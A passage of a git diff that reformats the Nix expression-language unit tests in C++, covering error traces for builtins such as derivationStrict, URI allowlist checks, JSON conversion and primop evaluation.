ASSERT_TRACE2( + "parseDrvName 1", + TypeError, + HintFmt("expected a string but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), + HintFmt("while evaluating the first argument passed to builtins.parseDrvName")); +} + +TEST_F(ErrorTraceTest, compareVersions) +{ + ASSERT_TRACE2( + "compareVersions 1 {}", + TypeError, + HintFmt("expected a string but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), + HintFmt("while evaluating the first argument passed to builtins.compareVersions")); + + ASSERT_TRACE2( + "compareVersions \"abd\" {}", + TypeError, + HintFmt("expected a string but found %s: %s", "a set", Uncolored("{ }")), + HintFmt("while evaluating the second argument passed to builtins.compareVersions")); +} + +TEST_F(ErrorTraceTest, splitVersion) +{ + ASSERT_TRACE2( + "splitVersion 1", + TypeError, + HintFmt("expected a string but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), + HintFmt("while evaluating the first argument passed to builtins.splitVersion")); +} + +TEST_F(ErrorTraceTest, traceVerbose) {} + +TEST_F(ErrorTraceTest, derivationStrict) +{ + ASSERT_TRACE2( + "derivationStrict \"\"", + TypeError, + HintFmt("expected a set but found %s: %s", "a string", "\"\""), + HintFmt("while evaluating the argument passed to builtins.derivationStrict")); + + ASSERT_TRACE2( + "derivationStrict {}", + TypeError, + HintFmt("attribute '%s' missing", "name"), + HintFmt("in the attrset passed as argument to builtins.derivationStrict")); + + ASSERT_TRACE3( + "derivationStrict { name = 1; }", + TypeError, + HintFmt("expected a string but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), + HintFmt("while evaluating the `name` attribute passed to builtins.derivationStrict"), + HintFmt("while evaluating the derivation attribute 'name'")); + + ASSERT_DERIVATION_TRACE1( + "derivationStrict { name = \"foo\"; }", EvalError, HintFmt("required attribute 'builder' missing")); + + ASSERT_DERIVATION_TRACE2( + "derivationStrict { name = \"foo\"; builder = 1; __structuredAttrs = 15; }", + TypeError, + HintFmt("expected a Boolean but found %s: %s", "an integer", Uncolored(ANSI_CYAN "15" ANSI_NORMAL)), + HintFmt("while evaluating the `__structuredAttrs` attribute passed to builtins.derivationStrict")); + + ASSERT_DERIVATION_TRACE2( + "derivationStrict { name = \"foo\"; builder = 1; __ignoreNulls = 15; }", + TypeError, + HintFmt("expected a Boolean but found %s: %s", "an integer", Uncolored(ANSI_CYAN "15" ANSI_NORMAL)), + HintFmt("while evaluating the `__ignoreNulls` attribute passed to builtins.derivationStrict")); + + ASSERT_DERIVATION_TRACE2( + "derivationStrict { name = \"foo\"; builder = 1; outputHashMode = 15; }", + EvalError, + HintFmt("invalid value '%s' for 'outputHashMode' attribute", "15"), + HintFmt("while evaluating attribute '%s' of derivation '%s'", "outputHashMode", "foo")); + + ASSERT_DERIVATION_TRACE2( + "derivationStrict { name = \"foo\"; builder = 1; outputHashMode = \"custom\"; }", + EvalError, + HintFmt("invalid value '%s' for 'outputHashMode' attribute", "custom"), + HintFmt("while evaluating attribute '%s' of derivation '%s'", "outputHashMode", "foo")); + + ASSERT_DERIVATION_TRACE3( + "derivationStrict { name = \"foo\"; builder = 1; system = {}; }", + TypeError, + HintFmt("cannot coerce %s to a string: { }", "a set"), + HintFmt(""), + HintFmt("while evaluating attribute '%s' of derivation '%s'", "system", "foo")); + + ASSERT_DERIVATION_TRACE3( + "derivationStrict { name = \"foo\"; builder = 1; system = 1; outputs = {}; }", + TypeError, + HintFmt("cannot coerce %s to a string: { }", "a set"), + HintFmt(""), + HintFmt("while evaluating attribute '%s' of derivation '%s'", "outputs", "foo")); + + ASSERT_DERIVATION_TRACE2( + "derivationStrict { name = \"foo\"; builder = 1; system = 1; outputs = \"drvPath\"; }", + EvalError, + HintFmt("invalid derivation output name 'drvPath'"), + HintFmt("while evaluating attribute '%s' of derivation '%s'", "outputs", "foo")); + + ASSERT_DERIVATION_TRACE3( + "derivationStrict { name = \"foo\"; outputs = \"out\"; __structuredAttrs = true; }", + EvalError, + HintFmt("expected a list but found %s: %s", "a string", "\"out\""), + HintFmt(""), + HintFmt("while evaluating attribute '%s' of derivation '%s'", "outputs", "foo")); + + ASSERT_DERIVATION_TRACE2( + "derivationStrict { name = \"foo\"; builder = 1; system = 1; outputs = []; }", + EvalError, + HintFmt("derivation cannot have an empty set of outputs"), + HintFmt("while evaluating attribute '%s' of derivation '%s'", "outputs", "foo")); + + ASSERT_DERIVATION_TRACE2( + "derivationStrict { name = \"foo\"; builder = 1; system = 1; outputs = [ \"drvPath\" ]; }", + EvalError, + HintFmt("invalid derivation output name 'drvPath'"), + HintFmt("while evaluating attribute '%s' of derivation '%s'", "outputs", "foo")); + + ASSERT_DERIVATION_TRACE2( + "derivationStrict { name = \"foo\"; builder = 1; system = 1; outputs = [ \"out\" \"out\" ]; }", + EvalError, + HintFmt("duplicate derivation output '%s'", "out"), + HintFmt("while evaluating attribute '%s' of derivation '%s'", "outputs", "foo")); + + ASSERT_DERIVATION_TRACE3( + "derivationStrict { name = \"foo\"; builder = 1; system = 1; outputs = \"out\"; __contentAddressed = \"true\"; }", + TypeError, + HintFmt("expected a Boolean but found %s: %s", "a string", "\"true\""), + HintFmt(""), + HintFmt("while evaluating attribute '%s' of derivation '%s'", "__contentAddressed", "foo")); + + ASSERT_DERIVATION_TRACE3( + "derivationStrict { name = \"foo\"; builder = 1; system = 1; outputs = \"out\"; __impure = \"true\"; }", + TypeError, + HintFmt("expected a Boolean but found %s: %s", "a string", "\"true\""), + HintFmt(""), + HintFmt("while evaluating attribute '%s' of derivation '%s'", "__impure", "foo")); + + ASSERT_DERIVATION_TRACE3( + "derivationStrict { name = \"foo\"; builder = 1; system = 1; outputs = \"out\"; __impure = \"true\"; }", + TypeError, + HintFmt("expected a Boolean but found %s: %s", "a string", "\"true\""), + HintFmt(""), + HintFmt("while evaluating attribute '%s' of derivation '%s'", "__impure", "foo")); + + ASSERT_DERIVATION_TRACE3( + "derivationStrict { name = \"foo\"; builder = 1; system = 1; outputs = \"out\"; args = \"foo\"; }", + TypeError, + HintFmt("expected a list but found %s: %s", "a string", "\"foo\""), + HintFmt(""), + HintFmt("while evaluating attribute '%s' of derivation '%s'", "args", "foo")); + + ASSERT_DERIVATION_TRACE3( + "derivationStrict { name = \"foo\"; builder = 1; system = 1; outputs = \"out\"; args = [ {} ]; }", + TypeError, + HintFmt("cannot coerce %s to a string: { }", "a set"), + HintFmt("while evaluating an element of the argument list"), + HintFmt("while evaluating attribute '%s' of derivation '%s'", "args", "foo")); + + ASSERT_DERIVATION_TRACE3( + "derivationStrict { name = \"foo\"; builder = 1; system = 1; outputs = \"out\"; args = [ \"a\" {} ]; }", + TypeError, + HintFmt("cannot coerce %s to a string: { }", "a set"), + HintFmt("while evaluating an element of the argument list"), + HintFmt("while evaluating attribute '%s' of derivation '%s'", "args", "foo")); + + ASSERT_DERIVATION_TRACE3( + "derivationStrict { name = \"foo\"; builder = 1; system = 1; outputs = \"out\"; FOO = {}; }", + TypeError, + HintFmt("cannot coerce %s to a string: { }", "a set"), + HintFmt(""), + HintFmt("while evaluating attribute '%s' of derivation '%s'", "FOO", "foo")); +} } /* namespace nix */ diff --git a/src/libexpr-tests/eval.cc b/src/libexpr-tests/eval.cc index e9664dc58..ad70ea5b8 100644 --- a/src/libexpr-tests/eval.cc +++ b/src/libexpr-tests/eval.cc @@ -6,7 +6,8 @@ namespace nix { -TEST(nix_isAllowedURI, http_example_com) { +TEST(nix_isAllowedURI, http_example_com) +{ Strings allowed; allowed.push_back("http://example.com"); @@ -20,7 +21,8 @@ TEST(nix_isAllowedURI, http_example_com) { ASSERT_FALSE(isAllowedURI("http://example.org/foo", allowed)); } -TEST(nix_isAllowedURI, http_example_com_foo) { +TEST(nix_isAllowedURI, http_example_com_foo) +{ Strings allowed; allowed.push_back("http://example.com/foo"); @@ -34,7 +36,8 @@ TEST(nix_isAllowedURI, http_example_com_foo) { // ASSERT_TRUE(isAllowedURI("http://example.com/foo?ok=1", allowed)); } -TEST(nix_isAllowedURI, http) { +TEST(nix_isAllowedURI, http) +{ Strings allowed; allowed.push_back("http://"); @@ -48,7 +51,8 @@ TEST(nix_isAllowedURI, http) { ASSERT_FALSE(isAllowedURI("http:foo", allowed)); } -TEST(nix_isAllowedURI, https) { +TEST(nix_isAllowedURI, https) +{ Strings allowed; allowed.push_back("https://"); @@ -58,7 +62,8 @@ TEST(nix_isAllowedURI, https) { ASSERT_FALSE(isAllowedURI("http://example.com/https:", allowed)); } -TEST(nix_isAllowedURI, absolute_path) { +TEST(nix_isAllowedURI, absolute_path) +{ Strings allowed; allowed.push_back("/var/evil"); // bad idea @@ -76,7 +81,8 @@ TEST(nix_isAllowedURI, absolute_path) { ASSERT_FALSE(isAllowedURI("http://example.com//var/evil/foo", allowed)); } -TEST(nix_isAllowedURI, file_url) { +TEST(nix_isAllowedURI, file_url) +{ Strings allowed; allowed.push_back("file:///var/evil"); // bad idea @@ -103,7 +109,8 @@ TEST(nix_isAllowedURI, file_url) { ASSERT_FALSE(isAllowedURI("file://", allowed)); } -TEST(nix_isAllowedURI, github_all) { +TEST(nix_isAllowedURI, github_all) +{ Strings allowed; allowed.push_back("github:"); ASSERT_TRUE(isAllowedURI("github:", allowed)); @@ -117,7 +124,8 @@ TEST(nix_isAllowedURI, github_all) { ASSERT_FALSE(isAllowedURI("github", allowed)); } -TEST(nix_isAllowedURI, github_org) { +TEST(nix_isAllowedURI, github_org) +{ Strings allowed; allowed.push_back("github:foo"); ASSERT_FALSE(isAllowedURI("github:", allowed)); @@ -130,7 +138,8 @@ TEST(nix_isAllowedURI, github_org) { ASSERT_FALSE(isAllowedURI("file:///github:foo/bar/archive/master.tar.gz", allowed)); } -TEST(nix_isAllowedURI, non_scheme_colon) { +TEST(nix_isAllowedURI, non_scheme_colon) +{ Strings allowed; allowed.push_back("https://foo/bar:"); ASSERT_TRUE(isAllowedURI("https://foo/bar:", allowed)); @@ -138,16 +147,19 @@ TEST(nix_isAllowedURI, non_scheme_colon) { ASSERT_FALSE(isAllowedURI("https://foo/bar:baz", allowed)); } -class EvalStateTest : public LibExprTest {}; +class EvalStateTest : public LibExprTest +{}; -TEST_F(EvalStateTest, getBuiltins_ok) { +TEST_F(EvalStateTest, getBuiltins_ok) +{ auto evaled = maybeThunk("builtins"); auto & builtins = state.getBuiltins(); ASSERT_TRUE(builtins.type() == nAttrs); ASSERT_EQ(evaled, &builtins); } -TEST_F(EvalStateTest, getBuiltin_ok) { +TEST_F(EvalStateTest, getBuiltin_ok) +{ auto & builtin = state.getBuiltin("toString"); ASSERT_TRUE(builtin.type() == nFunction); // FIXME @@ -157,7 +169,8 @@ TEST_F(EvalStateTest, getBuiltin_ok) { ASSERT_EQ(state.forceBool(builtin2, noPos, "in unit test"), true); } -TEST_F(EvalStateTest, getBuiltin_fail) { +TEST_F(EvalStateTest, getBuiltin_fail) +{ ASSERT_THROW(state.getBuiltin("nonexistent"), EvalError); } diff --git a/src/libexpr-tests/json.cc b/src/libexpr-tests/json.cc index 11f31d058..c090ac5d7 100644 --- a/src/libexpr-tests/json.cc +++ b/src/libexpr-tests/json.cc @@ -4,65 +4,75 @@ namespace nix { // Testing the conversion to JSON - class JSONValueTest : public LibExprTest { - protected: - std::string getJSONValue(Value& value) { - std::stringstream ss; - NixStringContext ps; - printValueAsJSON(state, true, value, noPos, ss, ps); - return ss.str(); - } - }; - - TEST_F(JSONValueTest, null) { - Value v; - v.mkNull(); - ASSERT_EQ(getJSONValue(v), "null"); +class JSONValueTest : public LibExprTest +{ +protected: + std::string getJSONValue(Value & value) + { + std::stringstream ss; + NixStringContext ps; + printValueAsJSON(state, true, value, noPos, ss, ps); + return ss.str(); } +}; - TEST_F(JSONValueTest, BoolFalse) { - Value v; - v.mkBool(false); - ASSERT_EQ(getJSONValue(v),"false"); - } +TEST_F(JSONValueTest, null) +{ + Value v; + v.mkNull(); + ASSERT_EQ(getJSONValue(v), "null"); +} - TEST_F(JSONValueTest, BoolTrue) { - Value v; - v.mkBool(true); - ASSERT_EQ(getJSONValue(v), "true"); - } +TEST_F(JSONValueTest, BoolFalse) +{ + Value v; + v.mkBool(false); + ASSERT_EQ(getJSONValue(v), "false"); +} - TEST_F(JSONValueTest, IntPositive) { - Value v; - v.mkInt(100); - ASSERT_EQ(getJSONValue(v), "100"); - } +TEST_F(JSONValueTest, BoolTrue) +{ + Value v; + v.mkBool(true); + ASSERT_EQ(getJSONValue(v), "true"); +} - TEST_F(JSONValueTest, IntNegative) { - Value v; - v.mkInt(-100); - ASSERT_EQ(getJSONValue(v), "-100"); - } +TEST_F(JSONValueTest, IntPositive) +{ + Value v; + v.mkInt(100); + ASSERT_EQ(getJSONValue(v), "100"); +} - TEST_F(JSONValueTest, String) { - Value v; - v.mkString("test"); - ASSERT_EQ(getJSONValue(v), "\"test\""); - } +TEST_F(JSONValueTest, IntNegative) +{ + Value v; + v.mkInt(-100); + ASSERT_EQ(getJSONValue(v), "-100"); +} - TEST_F(JSONValueTest, StringQuotes) { - Value v; +TEST_F(JSONValueTest, String) +{ + Value v; + v.mkString("test"); + ASSERT_EQ(getJSONValue(v), "\"test\""); +} - v.mkString("test\""); - ASSERT_EQ(getJSONValue(v), "\"test\\\"\""); - } +TEST_F(JSONValueTest, StringQuotes) +{ + Value v; - // The dummy store doesn't support writing files. Fails with this exception message: - // C++ exception with description "error: operation 'addToStoreFromDump' is - // not supported by store 'dummy'" thrown in the test body. - TEST_F(JSONValueTest, DISABLED_Path) { - Value v; - v.mkPath(state.rootPath(CanonPath("/test"))); - ASSERT_EQ(getJSONValue(v), "\"/nix/store/g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-x\""); - } + v.mkString("test\""); + ASSERT_EQ(getJSONValue(v), "\"test\\\"\""); +} + +// The dummy store doesn't support writing files. Fails with this exception message: +// C++ exception with description "error: operation 'addToStoreFromDump' is +// not supported by store 'dummy'" thrown in the test body. +TEST_F(JSONValueTest, DISABLED_Path) +{ + Value v; + v.mkPath(state.rootPath(CanonPath("/test"))); + ASSERT_EQ(getJSONValue(v), "\"/nix/store/g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-x\""); +} } /* namespace nix */ diff --git a/src/libexpr-tests/main.cc b/src/libexpr-tests/main.cc index 52cca53c4..61b40e834 100644 --- a/src/libexpr-tests/main.cc +++ b/src/libexpr-tests/main.cc @@ -5,7 +5,8 @@ using namespace nix; -int main (int argc, char **argv) { +int main(int argc, char ** argv) +{ if (argc > 1 && std::string_view(argv[1]) == "__build-remote") { printError("test-build-remote: not supported in libexpr unit tests"); return 1; @@ -14,25 +15,26 @@ int main (int argc, char **argv) { // Disable build hook. We won't be testing remote builds in these unit tests. If we do, fix the above build hook. settings.buildHook = {}; - #ifdef __linux__ // should match the conditional around sandboxBuildDir declaration. +#ifdef __linux__ // should match the conditional around sandboxBuildDir declaration. - // When building and testing nix within the host's Nix sandbox, our store dir will be located in the host's sandboxBuildDir, e.g.: - // Host + // When building and testing nix within the host's Nix sandbox, our store dir will be located in the host's + // sandboxBuildDir, e.g.: Host // storeDir = /nix/store // sandboxBuildDir = /build // This process // storeDir = /build/foo/bar/store // sandboxBuildDir = /build - // However, we have a rule that the store dir must not be inside the storeDir, so we need to pick a different sandboxBuildDir. + // However, we have a rule that the store dir must not be inside the storeDir, so we need to pick a different + // sandboxBuildDir. settings.sandboxBuildDir = "/test-build-dir-instead-of-usual-build-dir"; - #endif +#endif - #ifdef __APPLE__ +#ifdef __APPLE__ // Avoid this error, when already running in a sandbox: // sandbox-exec: sandbox_apply: Operation not permitted settings.sandboxMode = smDisabled; setEnv("_NIX_TEST_NO_SANDBOX", "1"); - #endif +#endif // For pipe operator tests in trivial.cc experimentalFeatureSettings.set("experimental-features", "pipe-operators"); diff --git a/src/libexpr-tests/primops.cc b/src/libexpr-tests/primops.cc index c3e50863d..48a0cedb1 100644 --- a/src/libexpr-tests/primops.cc +++ b/src/libexpr-tests/primops.cc @@ -7,849 +7,955 @@ #include "nix/expr/tests/libexpr.hh" namespace nix { - class CaptureLogger : public Logger +class CaptureLogger : public Logger +{ + std::ostringstream oss; + +public: + CaptureLogger() {} + + std::string get() const { - std::ostringstream oss; - - public: - CaptureLogger() {} - - std::string get() const { - return oss.str(); - } - - void log(Verbosity lvl, std::string_view s) override { - oss << s << std::endl; - } - - void logEI(const ErrorInfo & ei) override { - showErrorInfo(oss, ei, loggerSettings.showTrace.get()); - } - }; - - class CaptureLogging { - std::unique_ptr oldLogger; - public: - CaptureLogging() { - oldLogger = std::move(logger); - logger = std::make_unique(); - } - - ~CaptureLogging() { - logger = std::move(oldLogger); - } - }; - - - // Testing eval of PrimOp's - class PrimOpTest : public LibExprTest {}; - - - TEST_F(PrimOpTest, throw) { - ASSERT_THROW(eval("throw \"foo\""), ThrownError); + return oss.str(); } - TEST_F(PrimOpTest, abort) { - ASSERT_THROW(eval("abort \"abort\""), Abort); + void log(Verbosity lvl, std::string_view s) override + { + oss << s << std::endl; } - TEST_F(PrimOpTest, ceil) { - auto v = eval("builtins.ceil 1.9"); - ASSERT_THAT(v, IsIntEq(2)); + void logEI(const ErrorInfo & ei) override + { + showErrorInfo(oss, ei, loggerSettings.showTrace.get()); + } +}; + +class CaptureLogging +{ + std::unique_ptr oldLogger; +public: + CaptureLogging() + { + oldLogger = std::move(logger); + logger = std::make_unique(); } - TEST_F(PrimOpTest, floor) { - auto v = eval("builtins.floor 1.9"); - ASSERT_THAT(v, IsIntEq(1)); + ~CaptureLogging() + { + logger = std::move(oldLogger); } +}; - TEST_F(PrimOpTest, tryEvalFailure) { - auto v = eval("builtins.tryEval (throw \"\")"); - ASSERT_THAT(v, IsAttrsOfSize(2)); - auto s = createSymbol("success"); - auto p = v.attrs()->get(s); - ASSERT_NE(p, nullptr); - ASSERT_THAT(*p->value, IsFalse()); - } +// Testing eval of PrimOp's +class PrimOpTest : public LibExprTest +{}; - TEST_F(PrimOpTest, tryEvalSuccess) { - auto v = eval("builtins.tryEval 123"); - ASSERT_THAT(v, IsAttrs()); - auto s = createSymbol("success"); - auto p = v.attrs()->get(s); - ASSERT_NE(p, nullptr); - ASSERT_THAT(*p->value, IsTrue()); - s = createSymbol("value"); - p = v.attrs()->get(s); - ASSERT_NE(p, nullptr); - ASSERT_THAT(*p->value, IsIntEq(123)); - } +TEST_F(PrimOpTest, throw) +{ + ASSERT_THROW(eval("throw \"foo\""), ThrownError); +} - TEST_F(PrimOpTest, getEnv) { - setEnv("_NIX_UNIT_TEST_ENV_VALUE", "test value"); - auto v = eval("builtins.getEnv \"_NIX_UNIT_TEST_ENV_VALUE\""); - ASSERT_THAT(v, IsStringEq("test value")); - } +TEST_F(PrimOpTest, abort) +{ + ASSERT_THROW(eval("abort \"abort\""), Abort); +} - TEST_F(PrimOpTest, seq) { - ASSERT_THROW(eval("let x = throw \"test\"; in builtins.seq x { }"), ThrownError); - } +TEST_F(PrimOpTest, ceil) +{ + auto v = eval("builtins.ceil 1.9"); + ASSERT_THAT(v, IsIntEq(2)); +} - TEST_F(PrimOpTest, seqNotDeep) { - auto v = eval("let x = { z = throw \"test\"; }; in builtins.seq x { }"); - ASSERT_THAT(v, IsAttrs()); - } +TEST_F(PrimOpTest, floor) +{ + auto v = eval("builtins.floor 1.9"); + ASSERT_THAT(v, IsIntEq(1)); +} - TEST_F(PrimOpTest, deepSeq) { - ASSERT_THROW(eval("let x = { z = throw \"test\"; }; in builtins.deepSeq x { }"), ThrownError); - } +TEST_F(PrimOpTest, tryEvalFailure) +{ + auto v = eval("builtins.tryEval (throw \"\")"); + ASSERT_THAT(v, IsAttrsOfSize(2)); + auto s = createSymbol("success"); + auto p = v.attrs()->get(s); + ASSERT_NE(p, nullptr); + ASSERT_THAT(*p->value, IsFalse()); +} - TEST_F(PrimOpTest, trace) { - CaptureLogging l; - auto v = eval("builtins.trace \"test string 123\" 123"); - ASSERT_THAT(v, IsIntEq(123)); - auto text = (dynamic_cast(logger.get()))->get(); - ASSERT_NE(text.find("test string 123"), std::string::npos); - } +TEST_F(PrimOpTest, tryEvalSuccess) +{ + auto v = eval("builtins.tryEval 123"); + ASSERT_THAT(v, IsAttrs()); + auto s = createSymbol("success"); + auto p = v.attrs()->get(s); + ASSERT_NE(p, nullptr); + ASSERT_THAT(*p->value, IsTrue()); + s = createSymbol("value"); + p = v.attrs()->get(s); + ASSERT_NE(p, nullptr); + ASSERT_THAT(*p->value, IsIntEq(123)); +} - TEST_F(PrimOpTest, placeholder) { - auto v = eval("builtins.placeholder \"out\""); - ASSERT_THAT(v, IsStringEq("/1rz4g4znpzjwh1xymhjpm42vipw92pr73vdgl6xs1hycac8kf2n9")); - } +TEST_F(PrimOpTest, getEnv) +{ + setEnv("_NIX_UNIT_TEST_ENV_VALUE", "test value"); + auto v = eval("builtins.getEnv \"_NIX_UNIT_TEST_ENV_VALUE\""); + ASSERT_THAT(v, IsStringEq("test value")); +} - TEST_F(PrimOpTest, baseNameOf) { - auto v = eval("builtins.baseNameOf /some/path"); - ASSERT_THAT(v, IsStringEq("path")); - } +TEST_F(PrimOpTest, seq) +{ + ASSERT_THROW(eval("let x = throw \"test\"; in builtins.seq x { }"), ThrownError); +} - TEST_F(PrimOpTest, dirOf) { - auto v = eval("builtins.dirOf /some/path"); - ASSERT_THAT(v, IsPathEq("/some")); - } +TEST_F(PrimOpTest, seqNotDeep) +{ + auto v = eval("let x = { z = throw \"test\"; }; in builtins.seq x { }"); + ASSERT_THAT(v, IsAttrs()); +} - TEST_F(PrimOpTest, attrValues) { - auto v = eval("builtins.attrValues { x = \"foo\"; a = 1; }"); - ASSERT_THAT(v, IsListOfSize(2)); - ASSERT_THAT(*v.listElems()[0], IsIntEq(1)); - ASSERT_THAT(*v.listElems()[1], IsStringEq("foo")); - } +TEST_F(PrimOpTest, deepSeq) +{ + ASSERT_THROW(eval("let x = { z = throw \"test\"; }; in builtins.deepSeq x { }"), ThrownError); +} - TEST_F(PrimOpTest, getAttr) { - auto v = eval("builtins.getAttr \"x\" { x = \"foo\"; }"); - ASSERT_THAT(v, IsStringEq("foo")); - } +TEST_F(PrimOpTest, trace) +{ + CaptureLogging l; + auto v = eval("builtins.trace \"test string 123\" 123"); + ASSERT_THAT(v, IsIntEq(123)); + auto text = (dynamic_cast(logger.get()))->get(); + ASSERT_NE(text.find("test string 123"), std::string::npos); +} - TEST_F(PrimOpTest, getAttrNotFound) { - // FIXME: TypeError is really bad here, also the error wording is worse - // than on Nix <=2.3 - ASSERT_THROW(eval("builtins.getAttr \"y\" { }"), TypeError); - } +TEST_F(PrimOpTest, placeholder) +{ + auto v = eval("builtins.placeholder \"out\""); + ASSERT_THAT(v, IsStringEq("/1rz4g4znpzjwh1xymhjpm42vipw92pr73vdgl6xs1hycac8kf2n9")); +} - TEST_F(PrimOpTest, unsafeGetAttrPos) { - state.corepkgsFS->addFile(CanonPath("foo.nix"), "\n\r\n\r{ y = \"x\"; }"); +TEST_F(PrimOpTest, baseNameOf) +{ + auto v = eval("builtins.baseNameOf /some/path"); + ASSERT_THAT(v, IsStringEq("path")); +} - auto expr = "builtins.unsafeGetAttrPos \"y\" (import )"; - auto v = eval(expr); - ASSERT_THAT(v, IsAttrsOfSize(3)); +TEST_F(PrimOpTest, dirOf) +{ + auto v = eval("builtins.dirOf /some/path"); + ASSERT_THAT(v, IsPathEq("/some")); +} - auto file = v.attrs()->find(createSymbol("file")); - ASSERT_NE(file, nullptr); - ASSERT_THAT(*file->value, IsString()); - auto s = baseNameOf(file->value->string_view()); - ASSERT_EQ(s, "foo.nix"); +TEST_F(PrimOpTest, attrValues) +{ + auto v = eval("builtins.attrValues { x = \"foo\"; a = 1; }"); + ASSERT_THAT(v, IsListOfSize(2)); + ASSERT_THAT(*v.listElems()[0], IsIntEq(1)); + ASSERT_THAT(*v.listElems()[1], IsStringEq("foo")); +} - auto line = v.attrs()->find(createSymbol("line")); - ASSERT_NE(line, nullptr); - state.forceValue(*line->value, noPos); - ASSERT_THAT(*line->value, IsIntEq(4)); +TEST_F(PrimOpTest, getAttr) +{ + auto v = eval("builtins.getAttr \"x\" { x = \"foo\"; }"); + ASSERT_THAT(v, IsStringEq("foo")); +} - auto column = v.attrs()->find(createSymbol("column")); - ASSERT_NE(column, nullptr); - state.forceValue(*column->value, noPos); - ASSERT_THAT(*column->value, IsIntEq(3)); - } +TEST_F(PrimOpTest, getAttrNotFound) +{ + // FIXME: TypeError is really bad here, also the error wording is worse + // than on Nix <=2.3 + ASSERT_THROW(eval("builtins.getAttr \"y\" { }"), TypeError); +} - TEST_F(PrimOpTest, hasAttr) { - auto v = eval("builtins.hasAttr \"x\" { x = 1; }"); - ASSERT_THAT(v, IsTrue()); - } +TEST_F(PrimOpTest, unsafeGetAttrPos) +{ + state.corepkgsFS->addFile(CanonPath("foo.nix"), "\n\r\n\r{ y = \"x\"; }"); - TEST_F(PrimOpTest, hasAttrNotFound) { - auto v = eval("builtins.hasAttr \"x\" { }"); - ASSERT_THAT(v, IsFalse()); - } + auto expr = "builtins.unsafeGetAttrPos \"y\" (import )"; + auto v = eval(expr); + ASSERT_THAT(v, IsAttrsOfSize(3)); - TEST_F(PrimOpTest, isAttrs) { - auto v = eval("builtins.isAttrs {}"); - ASSERT_THAT(v, IsTrue()); - } + auto file = v.attrs()->find(createSymbol("file")); + ASSERT_NE(file, nullptr); + ASSERT_THAT(*file->value, IsString()); + auto s = baseNameOf(file->value->string_view()); + ASSERT_EQ(s, "foo.nix"); - TEST_F(PrimOpTest, isAttrsFalse) { - auto v = eval("builtins.isAttrs null"); - ASSERT_THAT(v, IsFalse()); - } + auto line = v.attrs()->find(createSymbol("line")); + ASSERT_NE(line, nullptr); + state.forceValue(*line->value, noPos); + ASSERT_THAT(*line->value, IsIntEq(4)); - TEST_F(PrimOpTest, removeAttrs) { - auto v = eval("builtins.removeAttrs { x = 1; } [\"x\"]"); - ASSERT_THAT(v, IsAttrsOfSize(0)); - } + auto column = v.attrs()->find(createSymbol("column")); + ASSERT_NE(column, nullptr); + state.forceValue(*column->value, noPos); + ASSERT_THAT(*column->value, IsIntEq(3)); +} - TEST_F(PrimOpTest, removeAttrsRetains) { - auto v = eval("builtins.removeAttrs { x = 1; y = 2; } [\"x\"]"); - ASSERT_THAT(v, IsAttrsOfSize(1)); - ASSERT_NE(v.attrs()->find(createSymbol("y")), nullptr); - } +TEST_F(PrimOpTest, hasAttr) +{ + auto v = eval("builtins.hasAttr \"x\" { x = 1; }"); + ASSERT_THAT(v, IsTrue()); +} - TEST_F(PrimOpTest, listToAttrsEmptyList) { - auto v = eval("builtins.listToAttrs []"); - ASSERT_THAT(v, IsAttrsOfSize(0)); - ASSERT_EQ(v.type(), nAttrs); - ASSERT_EQ(v.attrs()->size(), 0u); - } +TEST_F(PrimOpTest, hasAttrNotFound) +{ + auto v = eval("builtins.hasAttr \"x\" { }"); + ASSERT_THAT(v, IsFalse()); +} - TEST_F(PrimOpTest, listToAttrsNotFieldName) { - ASSERT_THROW(eval("builtins.listToAttrs [{}]"), Error); - } +TEST_F(PrimOpTest, isAttrs) +{ + auto v = eval("builtins.isAttrs {}"); + ASSERT_THAT(v, IsTrue()); +} - TEST_F(PrimOpTest, listToAttrs) { - auto v = eval("builtins.listToAttrs [ { name = \"key\"; value = 123; } ]"); - ASSERT_THAT(v, IsAttrsOfSize(1)); - auto key = v.attrs()->find(createSymbol("key")); - ASSERT_NE(key, nullptr); - ASSERT_THAT(*key->value, IsIntEq(123)); - } +TEST_F(PrimOpTest, isAttrsFalse) +{ + auto v = eval("builtins.isAttrs null"); + ASSERT_THAT(v, IsFalse()); +} - TEST_F(PrimOpTest, intersectAttrs) { - auto v = eval("builtins.intersectAttrs { a = 1; b = 2; } { b = 3; c = 4; }"); - ASSERT_THAT(v, IsAttrsOfSize(1)); - auto b = v.attrs()->find(createSymbol("b")); - ASSERT_NE(b, nullptr); - ASSERT_THAT(*b->value, IsIntEq(3)); - } +TEST_F(PrimOpTest, removeAttrs) +{ + auto v = eval("builtins.removeAttrs { x = 1; } [\"x\"]"); + ASSERT_THAT(v, IsAttrsOfSize(0)); +} - TEST_F(PrimOpTest, catAttrs) { - auto v = eval("builtins.catAttrs \"a\" [{a = 1;} {b = 0;} {a = 2;}]"); - ASSERT_THAT(v, IsListOfSize(2)); - ASSERT_THAT(*v.listElems()[0], IsIntEq(1)); - ASSERT_THAT(*v.listElems()[1], IsIntEq(2)); - } +TEST_F(PrimOpTest, removeAttrsRetains) +{ + auto v = eval("builtins.removeAttrs { x = 1; y = 2; } [\"x\"]"); + ASSERT_THAT(v, IsAttrsOfSize(1)); + ASSERT_NE(v.attrs()->find(createSymbol("y")), nullptr); +} - TEST_F(PrimOpTest, functionArgs) { - auto v = eval("builtins.functionArgs ({ x, y ? 123}: 1)"); - ASSERT_THAT(v, IsAttrsOfSize(2)); +TEST_F(PrimOpTest, listToAttrsEmptyList) +{ + auto v = eval("builtins.listToAttrs []"); + ASSERT_THAT(v, IsAttrsOfSize(0)); + ASSERT_EQ(v.type(), nAttrs); + ASSERT_EQ(v.attrs()->size(), 0u); +} - auto x = v.attrs()->find(createSymbol("x")); - ASSERT_NE(x, nullptr); - ASSERT_THAT(*x->value, IsFalse()); +TEST_F(PrimOpTest, listToAttrsNotFieldName) +{ + ASSERT_THROW(eval("builtins.listToAttrs [{}]"), Error); +} - auto y = v.attrs()->find(createSymbol("y")); - ASSERT_NE(y, nullptr); - ASSERT_THAT(*y->value, IsTrue()); - } +TEST_F(PrimOpTest, listToAttrs) +{ + auto v = eval("builtins.listToAttrs [ { name = \"key\"; value = 123; } ]"); + ASSERT_THAT(v, 